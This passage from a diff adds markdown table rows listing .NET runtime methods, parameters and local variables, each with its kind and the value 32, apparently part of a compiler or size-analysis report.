+| Local variable 1 of method GetBytes | local | 32 | +| Local variable 1 of method GetBytesFromEncoding | local | 32 | +| Local variable 1 of method GetBytesWithFallback | local | 32 | +| Local variable 1 of method GetCharCount | local | 32 | +| Local variable 1 of method GetCharCountWithFallback | local | 32 | +| Local variable 1 of method GetChars | local | 32 | +| Local variable 1 of method GetCharsWithFallback | local | 32 | +| Local variable 1 of method GetEnvironmentVariable | local | 32 | +| Local variable 1 of method GetHashCode | local | 32 | +| Local variable 1 of method GetNonRandomizedHashCode | local | 32 | +| Local variable 1 of method GetString | local | 32 | +| Local variable 1 of method GetUnicode | local | 32 | +| Local variable 1 of method IndexOf | local | 32 | +| Local variable 1 of method IndexOfCore | local | 32 | +| Local variable 1 of method IndexOfOrdinalHelper | local | 32 | +| Local variable 1 of method IndexOfOrdinalIgnoreCaseHelper | local | 32 | +| Local variable 1 of method Insert | local | 32 | +| Local variable 1 of method InternalCopy | local | 32 | +| Local variable 1 of method InvariantIndexOf | local | 32 | +| Local variable 1 of method InvariantLastIndexOf | local | 32 | +| Local variable 1 of method IsAscii | local | 32 | +| Local variable 1 of method IsSortable | local | 32 | +| Local variable 1 of method Join | local | 32 | +| Local variable 1 of method LastIndexOf | local | 32 | +| Local variable 1 of method MatchChars | local | 32 | +| Local variable 1 of method Memmove | local | 32 | +| Local variable 1 of method Pow10 | local | 32 | +| Local variable 1 of method ReplaceAllInChunk | local | 32 | +| Local variable 1 of method Reverse | local | 32 | +| Local variable 1 of method StartsWith | local | 32 | +| Local variable 1 of method TZif_ToInt32 | local | 32 | +| Local variable 1 of method TZif_ToInt64 | local | 32 | +| Local variable 1 of method ThreadSafeCopy | local | 32 | +| Local variable 1 of method ToLowerAsciiInvariant | local | 32 | +| Local variable 1 of method ToUpperAsciiInvariant | local | 32 | +| Local variable 1 of method ToUtf16 | local | 32 | +| Local variable 1 of method Trim | local | 32 | +| Local variable 1 of method TrimEnd | local | 32 | +| Local variable 1 of method TrimStart | local | 32 | +| Local variable 1 of method TryDecodeFromUtf16 | local | 32 | +| Local variable 1 of method TryStringToNumber | local | 32 | +| Local variable 1 of method WaitMultipleIgnoringSyncContext | local | 32 | +| Local variable 1 of method WithElement | local | 32 | +| Local variable 1 of method WithUpper | local | 32 | +| Local variable 1 of method WriteEvent | local | 32 | +| Local variable 1 of method WriteImpl | local | 32 | +| Local variable 1 of method WriteMultiMerge | local | 32 | +| Local variable 1 of method WriteNative | local | 32 | +| Local variable 1 of method get_Item | local | 32 | +| Local variable 2 of method .ctor | local | 32 | +| Local variable 2 of method ChangeCaseCommon | local | 32 | +| Local variable 2 of method CompareOrdinalHelper | local | 32 | +| Local variable 2 of method CompareOrdinalIgnoreCase | local | 32 | +| Local variable 2 of method CopyTo | local | 32 | +| Local variable 2 of method CreateSortKey | local | 32 | +| Local variable 2 of method Ctor | local | 32 | +| Local variable 2 of method DoAnsiConversion | local | 32 | +| Local variable 2 of method EndsWithOrdinalHelper | local | 32 | +| Local variable 2 of method EndsWithOrdinalIgnoreCaseHelper | local | 32 | +| Local variable 2 of method EqualStartingCharacterCount | local | 32 | +| Local variable 2 of method GetByteCount | local | 32 | +| Local variable 2 of method GetBytes | local | 32 | +| Local variable 2 of method GetChars | local | 32 | +| Local variable 2 of method GetValue | local | 32 | +| Local variable 2 of method IndexOfCore | local | 32 | +| Local variable 2 of method IndexOfOrdinalCore | local | 32 | +| Local variable 2 of method Insert | local | 32 | +| Local variable 2 of method InternalGetNumericValue | local | 32 | +| Local variable 2 of method InternalSubString | local | 32 | +| Local variable 2 of method InvariantCreateSortKey | local | 32 | +| Local variable 2 of method LastIndexOfCore | local | 32 | +| Local variable 2 of method LastIndexOfOrdinalCore | local | 32 | +| Local variable 2 of method Multiply | local | 32 | +| Local variable 2 of method ReadNative | local | 32 | +| Local variable 2 of method SetValue | local | 32 | +| Local variable 2 of method StartsWithOrdinalHelper | local | 32 | +| Local variable 2 of method StartsWithOrdinalIgnoreCaseHelper | local | 32 | +| Local variable 2 of method StringToAnsiString | local | 32 | +| Local variable 2 of method TryInt32ToHexStr | local | 32 | +| Local variable 2 of method TryInt64ToHexStr | local | 32 | +| Local variable 2 of method TryJoin | local | 32 | +| Local variable 2 of method TryNegativeInt32ToDecStr | local | 32 | +| Local variable 2 of method TryUInt32ToDecStr | local | 32 | +| Local variable 2 of method TryUInt64ToDecStr | local | 32 | +| Local variable 2 of method Write | local | 32 | +| Local variable 3 of method AddCustomAttributes | local | 32 | +| Local variable 3 of method CompareOrdinalIgnoreCase | local | 32 | +| Local variable 3 of method CompareString | local | 32 | +| Local variable 3 of method CompareStringOrdinalIgnoreCase | local | 32 | +| Local variable 3 of method Convert | local | 32 | +| Local variable 3 of method Copy | local | 32 | +| Local variable 3 of method CreateInstance | local | 32 | +| Local variable 3 of method CreateStringFromEncoding | local | 32 | +| Local variable 3 of method Ctor | local | 32 | +| Local variable 3 of method EndsWith | local | 32 | +| Local variable 3 of method Fill | local | 32 | +| Local variable 3 of method FillStringChecked | local | 32 | +| Local variable 3 of method FindSection | local | 32 | +| Local variable 3 of method FromUtf16 | local | 32 | +| Local variable 3 of method GetBytes | local | 32 | +| Local variable 3 of method GetBytesWithFallback | local | 32 | +| Local variable 3 of method GetChars | local | 32 | +| Local variable 3 of method GetCharsWithFallback | local | 32 | +| Local variable 3 of method IndexOfCharArray | local | 32 | +| Local variable 3 of method IndexOfCore | local | 32 | +| Local variable 3 of method IndexOfOrdinalHelper | local | 32 | +| Local variable 3 of method IndexOfOrdinalIgnoreCaseHelper | local | 32 | +| Local variable 3 of method Int32ToHexStr | local | 32 | +| Local variable 3 of method Int64ToHexStr | local | 32 | +| Local variable 3 of method InternalLoad | local | 32 | +| Local variable 3 of method InvariantIndexOf | local | 32 | +| Local variable 3 of method InvariantLastIndexOf | local | 32 | +| Local variable 3 of method JoinInternal | local | 32 | +| Local variable 3 of method LastIndexOfCharArray | local | 32 | +| Local variable 3 of method NegativeInt32ToDecStr | local | 32 | +| Local variable 3 of method Pin | local | 32 | +| Local variable 3 of method Populate | local | 32 | +| Local variable 3 of method Pow10 | local | 32 | +| Local variable 3 of method Replace | local | 32 | +| Local variable 3 of method Resize | local | 32 | +| Local variable 3 of method StartsWith | local | 32 | +| Local variable 3 of method StringToCoTaskMemUni | local | 32 | +| Local variable 3 of method StringToHGlobalUni | local | 32 | +| Local variable 3 of method ThreadSafeCopy | local | 32 | +| Local variable 3 of method ToBase64String | local | 32 | +| Local variable 3 of method ToCharArray | local | 32 | +| Local variable 3 of method ToString | local | 32 | +| Local variable 3 of method ToUtf16 | local | 32 | +| Local variable 3 of method TryNegativeInt64ToDecStr | local | 32 | +| Local variable 3 of method TryToBase64Chars | local | 32 | +| Local variable 3 of method UInt32ToDecStr | local | 32 | +| Local variable 3 of method UInt64ToDecStr | local | 32 | +| Local variable 3 of method Write | local | 32 | +| Local variable 3 of method WriteEvent | local | 32 | +| Local variable 3 of method WriteStdoutAnsiString | local | 32 | +| Local variable 3 of method get_Item | local | 32 | +| Local variable 4 of method .ctor | local | 32 | +| Local variable 4 of method AddDivisor | local | 32 | +| Local variable 4 of method AddNullTerminatedString | local | 32 | +| Local variable 4 of method ChangeCaseCommon | local | 32 | +| Local variable 4 of method CompareOrdinalHelper | local | 32 | +| Local variable 4 of method Copy | local | 32 | +| Local variable 4 of method EndsWithOrdinalHelper | local | 32 | +| Local variable 4 of method EndsWithOrdinalIgnoreCaseHelper | local | 32 | +| Local variable 4 of method EqualStartingCharacterCount | local | 32 | +| Local variable 4 of method EscapeString | local | 32 | +| Local variable 4 of method FormatPrintF | local | 32 | +| Local variable 4 of method GetBytes | local | 32 | +| Local variable 4 of method GetChars | local | 32 | +| Local variable 4 of method GetMessage | local | 32 | +| Local variable 4 of method GetUnicodeCore | local | 32 | +| Local variable 4 of method IndexOfCore | local | 32 | +| Local variable 4 of method IndexOfOrdinalCore | local | 32 | +| Local variable 4 of method InternalLoad | local | 32 | +| Local variable 4 of method InternalSubString | local | 32 | +| Local variable 4 of method JoinInternal | local | 32 | +| Local variable 4 of method LastIndexOfCore | local | 32 | +| Local variable 4 of method MakeRoom | local | 32 | +| Local variable 4 of method NegativeInt64ToDecStr | local | 32 | +| Local variable 4 of method PadLeft | local | 32 | +| Local variable 4 of method PadRight | local | 32 | +| Local variable 4 of method Remove | local | 32 | +| Local variable 4 of method StartsWithOrdinalHelper | local | 32 | +| Local variable 4 of method StartsWithOrdinalIgnoreCaseHelper | local | 32 | +| Local variable 4 of method ToCharArray | local | 32 | +| Local variable 4 of method TryInsert | local | 32 | +| Local variable 4 of method Write | local | 32 | +| Local variable 4 of method WriteCore | local | 32 | +| Local variable 4 of method WriteEvent | local | 32 | +| Local variable 5 of method Append | local | 32 | +| Local variable 5 of method ConvertToNative | local | 32 | +| Local variable 5 of method CreateInstance | local | 32 | +| Local variable 5 of method GetAttributeUsage | local | 32 | +| Local variable 5 of method GetBytes | local | 32 | +| Local variable 5 of method GetBytesWithFallback | local | 32 | +| Local variable 5 of method GetCharsWithFallback | local | 32 | +| Local variable 5 of method GetCwd | local | 32 | +| Local variable 5 of method GetHomeDirectory | local | 32 | +| Local variable 5 of method Insert | local | 32 | +| Local variable 5 of method JoinInternal | local | 32 | +| Local variable 5 of method Pow10 | local | 32 | +| Local variable 5 of method Read | local | 32 | +| Local variable 5 of method ReadArray | local | 32 | +| Local variable 5 of method ReadCore | local | 32 | +| Local variable 5 of method Replace | local | 32 | +| Local variable 5 of method StringToCoTaskMemUTF8 | local | 32 | +| Local variable 5 of method StringToHGlobalUTF8 | local | 32 | +| Local variable 5 of method SubtractDivisor | local | 32 | +| Local variable 5 of method ToBase64String | local | 32 | +| Local variable 5 of method ToLowerAsciiInvariant | local | 32 | +| Local variable 5 of method ToUpperAsciiInvariant | local | 32 | +| Local variable 5 of method TryToBase64Chars | local | 32 | +| Local variable 5 of method WriteArray | local | 32 | +| Local variable 5 of method WriteEvent | local | 32 | +| Local variable 5 of method get_Item | local | 32 | +| Local variable 5 of method get_UserName | local | 32 | +| Local variable 6 of method .ctor | local | 32 | +| Local variable 6 of method Clear | local | 32 | +| Local variable 6 of method ConvertToBase64Array | local | 32 | +| Local variable 6 of method GenerateMetadataForProperty | local | 32 | +| Local variable 6 of method GetAsciiCore | local | 32 | +| Local variable 6 of method IndexOfOrdinalCore | local | 32 | +| Local variable 6 of method InternalCopy | local | 32 | +| Local variable 6 of method JoinInternal | local | 32 | +| Local variable 6 of method PadRight | local | 32 | +| Local variable 6 of method Remove | local | 32 | +| Local variable 6 of method Replace | local | 32 | +| Local variable 6 of method Resize | local | 32 | +| Local variable 6 of method SetConstantValue | local | 32 | +| Local variable 6 of method ToBase64CharArray | local | 32 | +| Local variable 6 of method TryDecodeFromUtf16 | local | 32 | +| Local variable 6 of method TryFormat | local | 32 | +| Local variable 6 of method Write | local | 32 | +| Local variable 7 of method .ctor | local | 32 | +| Local variable 7 of method Append | local | 32 | +| Local variable 7 of method GenerateMetadata | local | 32 | +| Local variable 7 of method GetBytesWithFallback | local | 32 | +| Local variable 7 of method GetCharsWithFallback | local | 32 | +| Local variable 7 of method GetHashCodeOfStringCore | local | 32 | +| Local variable 7 of method Insert | local | 32 | +| Local variable 7 of method JoinInternal | local | 32 | +| Local variable 7 of method PadLeft | local | 32 | +| Local variable 7 of method Populate | local | 32 | +| Local variable 7 of method Pow10 | local | 32 | +| Local variable 7 of method Remove | local | 32 | +| Local variable 7 of method Resize | local | 32 | +| Local variable 7 of method WriteEventString | local | 32 | +| Local variable 7 of method get_Item | local | 32 | +| Local variable 8 of method JoinInternal | local | 32 | +| Local variable 8 of method Pow10 | local | 32 | +| Local variable 8 of method Replace | local | 32 | +| Local variable 8 of method SetConstantValue | local | 32 | +| Local variable 8 of method ToBase64CharArray | local | 32 | +| Local variable 8 of method ToString | local | 32 | +| Local variable 8 of method TryInsert | local | 32 | +| Local variable 8 of method Write | local | 32 | +| Local variable 9 of method GenerateMetadataForProperty | local | 32 | +| Local variable 9 of method GetHashCodeOfStringCore | local | 32 | +| Local variable 9 of method Insert | local | 32 | +| Local variable 9 of method JoinInternal | local | 32 | +| Local variable 9 of method TrimExcess | local | 32 | +| Local variable 9 of method get_Item | local | 32 | +| Local variable 10 of method .ctor | local | 32 | +| Local variable 10 of method FormatFixed | local | 32 | +| Local variable 10 of method IntToString | local | 32 | +| Local variable 10 of method JoinInternal | local | 32 | +| Local variable 10 of method LongToString | local | 32 | +| Local variable 10 of method ReplaceAllInChunk | local | 32 | +| Local variable 11 of method GenerateMetadata | local | 32 | +| Local variable 11 of method GetHashCodeOfStringCore | local | 32 | +| Local variable 11 of method InternalReadChars | local | 32 | +| Local variable 11 of method Resize | local | 32 | +| Local variable 11 of method get_Item | local | 32 | +| Local variable 12 of method JoinCore | local | 32 | +| Local variable 13 of method .ctor | local | 32 | +| Local variable 13 of method ChangeCaseCommon | local | 32 | +| Local variable 13 of method get_Item | local | 32 | +| Local variable 14 of method .ctor | local | 32 | +| Local variable 14 of method Resize | local | 32 | +| Local variable 15 of method get_Item | local | 32 | +| Local variable 16 of method .ctor | local | 32 | +| Local variable 17 of method get_Item | local | 32 | +| Local variable 18 of method .ctor | local | 32 | +| Local variable 19 of method .ctor | local | 32 | +| Local variable 19 of method NumberToStringFormat | local | 32 | +| Local variable 19 of method get_Item | local | 32 | +| Local variable 22 of method .ctor | local | 32 | +| Local variable 23 of method WriteEvent | local | 32 | +| Local variable 24 of method WriteEvent | local | 32 | +| Local variable 25 of method .ctor | local | 32 | +| Local variable 25 of method WriteEvent | local | 32 | +| Local variable 26 of method .ctor | local | 32 | +| Local variable 26 of method WriteEvent | local | 32 | +| Local variable 27 of method WriteEvent | local | 32 | +| Local variable 28 of method .ctor | local | 32 | +| Local variable 28 of method WriteEvent | local | 32 | +| Local variable 29 of method WriteEvent | local | 32 | +| Local variable 30 of method .ctor | local | 32 | +| Local variable 30 of method WriteEvent | local | 32 | +| Local variable 31 of method .ctor | local | 32 | +| Local variable 31 of method NumberToStringFormat | local | 32 | +| Local variable 33 of method .ctor | local | 32 | +| Local variable 34 of method .ctor | local | 32 | +| Local variable 34 of method WriteEvent | local | 32 | +| Local variable 35 of method .ctor | local | 32 | +| Local variable 37 of method .ctor | local | 32 | +| Local variable 38 of method .ctor | local | 32 | +| Local variable 39 of method .ctor | local | 32 | +| Local variable 41 of method .ctor | local | 32 | +| Local variable 43 of method .ctor | local | 32 | +| Local variable 45 of method .ctor | local | 32 | +| Local variable 47 of method .ctor | local | 32 | +| Local variable 49 of method .ctor | local | 32 | +| Max | method | 32 | +| Min | method | 32 | +| Parameter 0 of <Equals>g__SoftwareFallback\|10_0 | parameter | 32 | +| Parameter 0 of <Equals>g__SoftwareFallback\|12_0 | parameter | 32 | +| Parameter 0 of <UpdatedCachedCursorPosition>g__IncrementX\|115_1 | parameter | 32 | +| Parameter 0 of <UpdatedCachedCursorPosition>g__IncrementY\|115_0 | parameter | 32 | +| Parameter 0 of Abs | parameter | 32 | +| Parameter 0 of AccumulateDecimalDigitsIntoBigInteger | parameter | 32 | +| Parameter 0 of Add | parameter | 32 | +| Parameter 0 of Add32To96 | parameter | 32 | +| Parameter 0 of AddByteOffset | parameter | 32 | +| Parameter 0 of AddCustomAttributes | parameter | 32 | +| Parameter 0 of AddDivisor | parameter | 32 | +| Parameter 0 of AddEventDescriptor | parameter | 32 | +| Parameter 0 of AddExceptionsForCompletedTask | parameter | 32 | +| Parameter 0 of AddNonLetter | parameter | 32 | +| Parameter 0 of AddToCleanupList | parameter | 32 | +| Parameter 0 of AdjustDaylightDeltaToExpectedRange | parameter | 32 | +| Parameter 0 of AdjustHour | parameter | 32 | +| Parameter 0 of AdjustTimeZoneToLocal | parameter | 32 | +| Parameter 0 of AdjustTimeZoneToUniversal | parameter | 32 | +| Parameter 0 of AppendParameters | parameter | 32 | +| Parameter 0 of AreSame | parameter | 32 | +| Parameter 0 of As | parameter | 32 | +| Parameter 0 of AsMutable | parameter | 32 | +| Parameter 0 of AsPointer | parameter | 32 | +| Parameter 0 of AsRef | parameter | 32 | +| Parameter 0 of AssembleFloatingPointBits | parameter | 32 | +| Parameter 0 of BinarySearch | parameter | 32 | +| Parameter 0 of Block | parameter | 32 | +| Parameter 0 of ByteOffset | parameter | 32 | +| Parameter 0 of CheckDefaultDateTime | parameter | 32 | +| Parameter 0 of CheckForAvailableMemory | parameter | 32 | +| Parameter 0 of CheckNewValue | parameter | 32 | +| Parameter 0 of CheckVMForIOPacket | parameter | 32 | +| Parameter 0 of ClearWithReferences | parameter | 32 | +| Parameter 0 of ClearWithoutReferences | parameter | 32 | +| Parameter 0 of Compare | parameter | 32 | +| Parameter 0 of CompareExchange | parameter | 32 | +| Parameter 0 of CompareOrdinalIgnoreCase | parameter | 32 | +| Parameter 0 of CompareStringOrdinalIgnoreCase | parameter | 32 | +| Parameter 0 of ComputeHash32 | parameter | 32 | +| Parameter 0 of ComputeHash32OrdinalIgnoreCase | parameter | 32 | +| Parameter 0 of ComputeHash32OrdinalIgnoreCaseSlow | parameter | 32 | +| Parameter 0 of ConfigureFormatOS | parameter | 32 | +| Parameter 0 of ConfigureFormatR | parameter | 32 | +| Parameter 0 of Contains | parameter | 32 | +| Parameter 0 of ConvertBigIntegerToFloatingPointBits | parameter | 32 | +| Parameter 0 of CountSignificantBits | parameter | 32 | +| Parameter 0 of CreateReadOnlySpan | parameter | 32 | +| Parameter 0 of CreateSpan | parameter | 32 | +| Parameter 0 of DateTimeOffsetTimeZonePostProcessing | parameter | 32 | +| Parameter 0 of DebugCheckEvent | parameter | 32 | +| Parameter 0 of DecAddSub | parameter | 32 | +| Parameter 0 of DecDivMod1E9 | parameter | 32 | +| Parameter 0 of DecimalToNumber | parameter | 32 | +| Parameter 0 of Decode | parameter | 32 | +| Parameter 0 of DecodePayload | parameter | 32 | +| Parameter 0 of Decrement | parameter | 32 | +| Parameter 0 of DestroyCleanupList | parameter | 32 | +| Parameter 0 of DetermineTimeZoneAdjustments | parameter | 32 | +| Parameter 0 of Div96By32 | parameter | 32 | +| Parameter 0 of Div96By64 | parameter | 32 | +| Parameter 0 of Div96ByConst | parameter | 32 | +| Parameter 0 of Div128By96 | parameter | 32 | +| Parameter 0 of DivRem | parameter | 32 | +| Parameter 0 of EncodeObject | parameter | 32 | +| Parameter 0 of EnsureInitialized | parameter | 32 | +| Parameter 0 of EnsureInitializedCore | parameter | 32 | +| Parameter 0 of EnsureLockInitialized | parameter | 32 | +| Parameter 0 of EqualsOrdinalIgnoreCase | parameter | 32 | +| Parameter 0 of EqualsOrdinalIgnoreCaseNonAscii | parameter | 32 | +| Parameter 0 of Exchange | parameter | 32 | +| Parameter 0 of ExchangeAdd | parameter | 32 | +| Parameter 0 of FormatCurrency | parameter | 32 | +| Parameter 0 of FormatDouble | parameter | 32 | +| Parameter 0 of FormatExponent | parameter | 32 | +| Parameter 0 of FormatFixed | parameter | 32 | +| Parameter 0 of FormatGeneral | parameter | 32 | +| Parameter 0 of FormatNumber | parameter | 32 | +| Parameter 0 of FormatPercent | parameter | 32 | +| Parameter 0 of FormatScientific | parameter | 32 | +| Parameter 0 of FormatSingle | parameter | 32 | +| Parameter 0 of GetAvailableThreads | parameter | 32 | +| Parameter 0 of GetAvailableThreadsNative | parameter | 32 | +| Parameter 0 of GetBytes | parameter | 32 | +| Parameter 0 of GetCpuUtilization | parameter | 32 | +| Parameter 0 of GetCurrentMethod | parameter | 32 | +| Parameter 0 of GetDateOfDSN | parameter | 32 | +| Parameter 0 of GetDateOfNDS | parameter | 32 | +| Parameter 0 of GetDateOfNNDS | parameter | 32 | +| Parameter 0 of GetDateTimeNow | parameter | 32 | +| Parameter 0 of GetDateTimeParseException | parameter | 32 | +| Parameter 0 of GetDayOfMN | parameter | 32 | +| Parameter 0 of GetDayOfMNN | parameter | 32 | +| Parameter 0 of GetDayOfNM | parameter | 32 | +| Parameter 0 of GetDayOfNN | parameter | 32 | +| Parameter 0 of GetDayOfNNN | parameter | 32 | +| Parameter 0 of GetDayOfNNY | parameter | 32 | +| Parameter 0 of GetDayOfYM | parameter | 32 | +| Parameter 0 of GetDayOfYMN | parameter | 32 | +| Parameter 0 of GetDayOfYN | parameter | 32 | +| Parameter 0 of GetDayOfYNN | parameter | 32 | +| Parameter 0 of GetDefaultLocaleName | parameter | 32 | +| Parameter 0 of GetDefaultYear | parameter | 32 | +| Parameter 0 of GetDirectoryEntryFullPath | parameter | 32 | +| Parameter 0 of GetExecutingAssembly | parameter | 32 | +| Parameter 0 of GetHashCode | parameter | 32 | +| Parameter 0 of GetHebrewDayOfNM | parameter | 32 | +| Parameter 0 of GetMaxThreads | parameter | 32 | +| Parameter 0 of GetMaxThreadsNative | parameter | 32 | +| Parameter 0 of GetMemoryInfo | parameter | 32 | +| Parameter 0 of GetMinThreads | parameter | 32 | +| Parameter 0 of GetMinThreadsNative | parameter | 32 | +| Parameter 0 of GetNextIntroducedMethod | parameter | 32 | +| Parameter 0 of GetObjectHandleOnStack | parameter | 32 | +| Parameter 0 of GetQCallAssemblyOnStack | parameter | 32 | +| Parameter 0 of GetQCallModuleOnStack | parameter | 32 | +| Parameter 0 of GetQCallTypeHandleOnStack | parameter | 32 | +| Parameter 0 of GetStackCrawlMarkHandle | parameter | 32 | +| Parameter 0 of GetStringHandleOnStack | parameter | 32 | +| Parameter 0 of GetSymbolOrDefault | parameter | 32 | +| Parameter 0 of GetThreadDeserializationTracker | parameter | 32 | +| Parameter 0 of GetTimeOfN | parameter | 32 | +| Parameter 0 of GetTimeOfNN | parameter | 32 | +| Parameter 0 of GetTimeOfNNN | parameter | 32 | +| Parameter 0 of GetTimeZoneName | parameter | 32 | +| Parameter 0 of GetWindowSize | parameter | 32 | +| Parameter 0 of HandleTimeZone | parameter | 32 | +| Parameter 0 of HeuristicDivide | parameter | 32 | +| Parameter 0 of IncreaseScale | parameter | 32 | +| Parameter 0 of IncreaseScale64 | parameter | 32 | +| Parameter 0 of Increment | parameter | 32 | +| Parameter 0 of IndexOf | parameter | 32 | +| Parameter 0 of IndexOfAny | parameter | 32 | +| Parameter 0 of InitBlockUnaligned | parameter | 32 | +| Parameter 0 of Initialize | parameter | 32 | +| Parameter 0 of InitializeVMTp | parameter | 32 | +| Parameter 0 of Int64DivMod1E9 | parameter | 32 | +| Parameter 0 of InternalGetCurrentMethod | parameter | 32 | +| Parameter 0 of InternalRound | parameter | 32 | +| Parameter 0 of IsAddressGreaterThan | parameter | 32 | +| Parameter 0 of IsAddressLessThan | parameter | 32 | +| Parameter 0 of IsUtf8ContinuationByte | parameter | 32 | +| Parameter 0 of LastIndexOf | parameter | 32 | +| Parameter 0 of LastIndexOfAny | parameter | 32 | +| Parameter 0 of LoadUIntPtr | parameter | 32 | +| Parameter 0 of LoadVector | parameter | 32 | +| Parameter 0 of LoadVector128 | parameter | 32 | +| Parameter 0 of LoadVector256 | parameter | 32 | +| Parameter 0 of MatchAbbreviatedDayName | parameter | 32 | +| Parameter 0 of MatchAbbreviatedMonthName | parameter | 32 | +| Parameter 0 of MatchAbbreviatedTimeMark | parameter | 32 | +| Parameter 0 of MatchDayName | parameter | 32 | +| Parameter 0 of MatchEraName | parameter | 32 | +| Parameter 0 of MatchHebrewDigits | parameter | 32 | +| Parameter 0 of MatchMonthName | parameter | 32 | +| Parameter 0 of MatchTimeMark | parameter | 32 | +| Parameter 0 of MatchWord | parameter | 32 | +| Parameter 0 of Max | parameter | 32 | +| Parameter 0 of Memmove | parameter | 32 | +| Parameter 0 of Min | parameter | 32 | +| Parameter 0 of Multiply | parameter | 32 | +| Parameter 0 of NarrowFourUtf16CharsToAsciiAndWriteToBuffer | parameter | 32 | +| Parameter 0 of NarrowTwoUtf16CharsToAsciiAndWriteToBuffer | parameter | 32 | +| Parameter 0 of NumberToDouble | parameter | 32 | +| Parameter 0 of NumberToFloatingPointBits | parameter | 32 | +| Parameter 0 of NumberToFloatingPointBitsSlow | parameter | 32 | +| Parameter 0 of NumberToSingle | parameter | 32 | +| Parameter 0 of NumberToString | parameter | 32 | +| Parameter 0 of NumberToStringFormat | parameter | 32 | +| Parameter 0 of OverflowUnscale | parameter | 32 | +| Parameter 0 of ParseByFormat | parameter | 32 | +| Parameter 0 of ParseDigits | parameter | 32 | +| Parameter 0 of ParseExactDigits | parameter | 32 | +| Parameter 0 of ParseExactLiteral | parameter | 32 | +| Parameter 0 of ParseFraction | parameter | 32 | +| Parameter 0 of ParseFractionExact | parameter | 32 | +| Parameter 0 of ParseISO8601 | parameter | 32 | +| Parameter 0 of ParseJapaneseEraStart | parameter | 32 | +| Parameter 0 of ParseSign | parameter | 32 | +| Parameter 0 of ParseTimeZone | parameter | 32 | +| Parameter 0 of ParseTimeZoneOffset | parameter | 32 | +| Parameter 0 of ProcessDateTimeSuffix | parameter | 32 | +| Parameter 0 of ProcessTerminalState | parameter | 32 | +| Parameter 0 of ProcessTerminal_D | parameter | 32 | +| Parameter 0 of ProcessTerminal_DHMSF | parameter | 32 | +| Parameter 0 of ProcessTerminal_HM | parameter | 32 | +| Parameter 0 of ProcessTerminal_HMS_F_D | parameter | 32 | +| Parameter 0 of ProcessTerminal_HM_S_D | parameter | 32 | +| Parameter 0 of Read | parameter | 32 | +| Parameter 0 of ReadUnaligned | parameter | 32 | +| Parameter 0 of RefreshColors | parameter | 32 | +| Parameter 0 of RemoveFirstArgIfRelatedActivityId | parameter | 32 | +| Parameter 0 of Resize | parameter | 32 | +| Parameter 0 of RhBulkMoveWithWriteBarrier | parameter | 32 | +| Parameter 0 of RhZeroMemory | parameter | 32 | +| Parameter 0 of Round | parameter | 32 | +| Parameter 0 of RoundNumber | parameter | 32 | +| Parameter 0 of SearchScale | parameter | 32 | +| Parameter 0 of SequenceCompareTo | parameter | 32 | +| Parameter 0 of SequenceEqual | parameter | 32 | +| Parameter 0 of SetDateDMY | parameter | 32 | +| Parameter 0 of SetDateMDY | parameter | 32 | +| Parameter 0 of SetDateYDM | parameter | 32 | +| Parameter 0 of SetDateYMD | parameter | 32 | +| Parameter 0 of Sign | parameter | 32 | +| Parameter 0 of Start | parameter | 32 | +| Parameter 0 of SubtractDivisor | parameter | 32 | +| Parameter 0 of TZif_GenerateAdjustmentRule | parameter | 32 | +| Parameter 0 of TZif_GenerateAdjustmentRules | parameter | 32 | +| Parameter 0 of TrimEventDescriptors | parameter | 32 | +| Parameter 0 of Truncate | parameter | 32 | +| Parameter 0 of TryAdjustYear | parameter | 32 | +| Parameter 0 of TryDigitGenCounted | parameter | 32 | +| Parameter 0 of TryDigitGenShortest | parameter | 32 | +| Parameter 0 of TryFormatDecimalE | parameter | 32 | +| Parameter 0 of TryFormatDecimalF | parameter | 32 | +| Parameter 0 of TryFormatDecimalG | parameter | 32 | +| Parameter 0 of TryFormatThrowFormatException | parameter | 32 | +| Parameter 0 of TryGetCachedCursorPosition | parameter | 32 | +| Parameter 0 of TryGetCursorPosition | parameter | 32 | +| Parameter 0 of TryGetLocalTzFile | parameter | 32 | +| Parameter 0 of TryNumberToDecimal | parameter | 32 | +| Parameter 0 of TryNumberToInt32 | parameter | 32 | +| Parameter 0 of TryNumberToInt64 | parameter | 32 | +| Parameter 0 of TryNumberToUInt32 | parameter | 32 | +| Parameter 0 of TryNumberToUInt64 | parameter | 32 | +| Parameter 0 of TryParseHebrewNumber | parameter | 32 | +| Parameter 0 of TryParseNumber | parameter | 32 | +| Parameter 0 of TryParseThrowFormatException | parameter | 32 | +| Parameter 0 of TryResolveStateMachineMethod | parameter | 32 | +| Parameter 0 of TryRunCounted | parameter | 32 | +| Parameter 0 of TryRunShortest | parameter | 32 | +| Parameter 0 of UnalignedCountVector | parameter | 32 | +| Parameter 0 of UnalignedCountVector128 | parameter | 32 | +| Parameter 0 of UnalignedCountVectorFromEnd | parameter | 32 | +| Parameter 0 of Unscale | parameter | 32 | +| Parameter 0 of UpdateStringBuilder | parameter | 32 | +| Parameter 0 of ValueAtReturn | parameter | 32 | +| Parameter 0 of VarCyFromDec | parameter | 32 | +| Parameter 0 of VarDecCmp | parameter | 32 | +| Parameter 0 of VarDecCmpSub | parameter | 32 | +| Parameter 0 of VarDecDiv | parameter | 32 | +| Parameter 0 of VarDecMod | parameter | 32 | +| Parameter 0 of VarDecModFull | parameter | 32 | +| Parameter 0 of VarDecMul | parameter | 32 | +| Parameter 0 of VarR4FromDec | parameter | 32 | +| Parameter 0 of VarR8FromDec | parameter | 32 | +| Parameter 0 of VerifyValidPunctuation | parameter | 32 | +| Parameter 0 of VolatileRead | parameter | 32 | +| Parameter 0 of VolatileWrite | parameter | 32 | +| Parameter 0 of WidenFourAsciiBytesToUtf16AndWriteToBuffer | parameter | 32 | +| Parameter 0 of Write | parameter | 32 | +| Parameter 0 of WriteFirstUtf16CharAsUtf8ThreeByteSequence | parameter | 32 | +| Parameter 0 of WriteNibble | parameter | 32 | +| Parameter 0 of WriteThreeLowOrderBytes | parameter | 32 | +| Parameter 0 of WriteTwoUtf16CharsAsTwoUtf8ThreeByteSequences | parameter | 32 | +| Parameter 0 of WriteUnaligned | parameter | 32 | +| Parameter 0 of _GetCurrentMethod | parameter | 32 | +| Parameter 0 of _Memmove | parameter | 32 | +| Parameter 1 of .ctor | parameter | 32 | +| Parameter 1 of <SignalCompletion>b__21_0 | parameter | 32 | +| Parameter 1 of AcquirePointer | parameter | 32 | +| Parameter 1 of Add | parameter | 32 | +| Parameter 1 of AddNonLetter | parameter | 32 | +| Parameter 1 of AddSpecialInterface | parameter | 32 | +| Parameter 1 of AddTitlecaseLetter | parameter | 32 | +| Parameter 1 of AddToList | parameter | 32 | +| Parameter 1 of AdjustDaylightDeltaToExpectedRange | parameter | 